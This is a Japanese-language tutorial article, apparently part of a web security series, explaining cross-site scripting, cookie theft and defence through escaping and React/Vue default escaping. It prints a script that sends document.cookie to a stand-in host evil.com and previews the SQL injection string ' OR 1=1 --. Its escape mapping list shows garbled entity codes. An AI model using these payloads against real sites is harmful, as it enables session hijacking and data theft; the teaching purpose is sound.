第3回:毒された入力欄「XSS」
〜魔法のタグの恐怖と、無害化(サニタイズ)の盾〜
導入:壁の内側に入り込むハッカー
第1回と第2回で、ブラウザには「SOP(同一オリジンポリシー)」という絶対防壁があり、外側の悪質サイトからの干渉を弾き返すことを学びました。
外からの攻撃が通用しないと悟ったハッカーたちは、発想を逆転させます。
「外から攻撃できないなら、正規のサイトの『内側』に、直接俺のプログラムを仕込めばいいじゃないか」
今回は、掲示板やSNSの「入力欄」を毒で満たし、サイトを内側から崩壊させる極めて危険な攻撃、 「XSS(クロスサイトスクリプティング)」 と、その毒を浄化するエンジニアたちの戦いの物語です。
1. 魔法のタグ <script> の恐怖
XSSの仕組みは、Webの基本的な仕組みの「穴」を突いたものです。
例えば、あなたがよく利用する「レビューサイト(または掲示板)」があるとします。誰でも感想を書き込めて、それがそのまま画面に表示される仕組みです。
普通の人なら、入力欄にはこう書きます。
「この映画、最高でした!」
しかし、悪意を持ったハッカーは、入力欄に 「HTMLのタグ」 、それもJavaScriptを強制起動させる魔法のタグ <script> を書き込みます。
<script>
alert("お前のパソコンはウイルスに感染した!");
</script>
もし、サーバーがこの書き込みを受け取り、何の疑いもなくそのまま画面(HTML)に出力してしまったらどうなるでしょうか?
次にこのレビューページを開いた「一般のユーザー」のブラウザは、この文章をただの文字ではなく 「実行すべきプログラム(JavaScript)」 だと勘違いしてしまいます。
結果として、ページを開いた瞬間に突然「ウイルスに感染した!」という警告画面が飛び出してくるのです。
2. 何が盗まれるのか?(被害の連鎖)
「なんだ、ただのイタズラか」と笑ってはいけません。
JavaScriptが実行できるということは、そのブラウザ上でできることの全てをハッカーに支配されたことを意味します。
最も恐ろしい被害が、第2回でも登場した身分証 「セッションCookie(クッキー)」 の盗難です。
ハッカーは入力欄に、以下のような悪魔のコードを書き込みます。
<script>
var targetUrl = "https://evil.com/steal?cookie=" + document.cookie;
new Image().src = targetUrl;
</script>
このレビューページを開いた瞬間、一般ユーザーのブラウザに保存されている「ログイン用の身分証(Cookie)」が、ハッカーのサーバーへこっそり送信されてしまいます。
SOP(同一オリジンポリシー)は防いでくれません。なぜなら、この悪意あるプログラムは「正規のレビューサイトの一部」として配信されているため、ブラウザは 「正しいオリジンからの正当な命令だ」と完全に信じ切ってしまう からです。
Cookieを奪われたユーザーのアカウントは即座に乗っ取られ、勝手にパスワードを変更されたり、クレジットカードで買い物をされたりする大惨事に発展します。
3. エンジニアの盾:「サニタイズ(無害化)」
「ユーザーの入力した文字を、そのままHTMLとして出力してはいけない!」
この致命的な弱点を克服するため、エンジニアたちは 「サニタイズ(エスケープ処理)」 という強力な盾を導入します。これは、入力された文字の中に含まれる「プログラムとして機能してしまう危険な記号」を、ただの安全な文字列に変換(無害化)する処理のことです。
具体的には、HTMLの意味を持つ記号を、別の文字コードに置き換えます。
-
<(小なり記号) →<に変換 -
>(大なり記号) →>に変換 -
&(アンパサンド) →&に変換
この「サニタイズの盾」を通すと、ハッカーが入力した <script> は、HTML上では <script> という無害な文字の羅列に変換されます。
ブラウザはこれを見て、「あ、これはプログラムの開始じゃなくて、ただ<script>って文字を表示したいだけなんだな」と正しく解釈します。こうして、ハッカーの毒は完全に浄化されるのです。
4. 現代の救世主:ReactとVueの隠れた恩恵
かつて、PHPやjQueryだけでWebサイトを作っていた時代、エンジニアはこのサニタイズ処理を 「すべて手作業」 で行わなければなりませんでした。
「あっ、ここの出力部分、エスケープ関数を通し忘れた!」
人間ですから、何百箇所もある出力部分のどこかで必ずミスをします。そのたった一つの穴をハッカーに突かれ、大企業のサイトから個人情報が流出する事件が後を絶ちませんでした。
しかし現在、私たちは強力な味方を持っています。番外編⑤で登場した ReactやVueといったモダンなフロントエンド・フレームワーク です。
彼らは、画面に変数を出力する際、 「デフォルト(標準)で全てサニタイズをかけてくれる」 という神機能を持っています。
エンジニアが特別に意識しなくても、フレームワーク側が勝手に危険なタグを無効化してくれるため、現代のWeb開発においてXSSの被害は劇的に減少しました。
新しい技術の裏側には、常に「過去の悲劇(セキュリティ事故)を二度と繰り返さない」という先人たちの強い意志が組み込まれているのです。
おわりに:入力欄は「外の世界」と繋がる窓
「ユーザーを信じるな(Don't trust user input)」
これは、すべてのWebエンジニアが最初に教わる鉄則です。
ユーザーが入力したデータは、常に毒(悪意あるコード)を含んでいる可能性があると疑い、徹底的に洗浄してからシステムに取り込む。そのパラノイア(偏執狂)的なまでの慎重さこそが、XSSからユーザーを守る唯一の手段なのです。
次回予告
XSSの毒は浄化され、フロントエンドの平和は守られました。
しかし、ハッカーの執念は底を知りません。
「ブラウザの画面(フロントエンド)を攻撃できないなら…… 裏側の『データベース』に直接命令を下して、情報を全部引き抜いてやる 」
ハッカーがログイン画面のパスワード欄に入力した、たった一行の「魔法の呪文」。
' OR 1=1 --
次回、第4回。
「金庫破りの呪文『SQLインジェクション』 〜バックエンド最大の悪夢と、バインド機構の堅牢な壁〜」
📚 参考文献・出典
本記事で解説した攻撃手法と防御策の詳細は、以下の公式技術ドキュメントに基づいています。
-
XSS(クロスサイトスクリプティング)の定義と対策
-
OWASP (Open Worldwide Application Security Project):
- Webセキュリティの世界的基準であるOWASPによる、XSSの公式解説と防衛策(エスケープ処理など)のチートシートです
- Cross Site Scripting Prevention Cheat Sheet - OWASP
-
OWASP (Open Worldwide Application Security Project):
-
モダンフレームワークにおけるXSS対策
-
React Legacy Documentation:
- ReactがいかにしてデフォルトでXSS攻撃を防いでいるか(JSXに埋め込まれた値がレンダリング前に自動でエスケープされる仕様)についての公式解説です
- JSX Prevents Injection Attacks - React
-
React Legacy Documentation: